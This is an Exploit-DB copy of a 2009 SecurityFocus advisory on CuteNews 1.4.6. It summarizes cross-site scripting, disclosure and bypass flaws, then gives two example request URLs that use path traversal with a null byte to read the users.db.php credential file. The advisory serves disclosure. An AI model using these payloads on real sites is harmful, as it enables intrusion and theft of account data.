CuteNews 1.4.6 editnews Module - doeditnews Action Admin Moderation Bypass

EDB-ID:

33345




Platform:

PHP

Date:

2009-11-10


source: https://www.securityfocus.com/bid/36971/info
     
CuteNews and UTF-8 CuteNews are prone to multiple vulnerabilities, including cross-site scripting, HTML-injection, information-disclosure, arbitrary-script-injection, and security-bypass issues.
     
Note that exploits for some of the issues may require administrator privilege.
     
Successful exploits may allow attackers to:
- obtain sensitive information
- gain unauthorized access to the affected application
- run arbitrary script code in the browser of an unsuspecting user in the context of the affected site
- hijack user sessions
- execute arbitrary commands in the context of the webserver process
     
A successful attack will compromise the application and may aid in further attacks. 

http://www.example.com/test/cutenews/index.php?mod=editnews&action=list&source=../users.db.php%00
http://www.example.com/test/cutenews/index.php?mod=editnews&action=editnews&id=1255182669&source=../users.db.php%00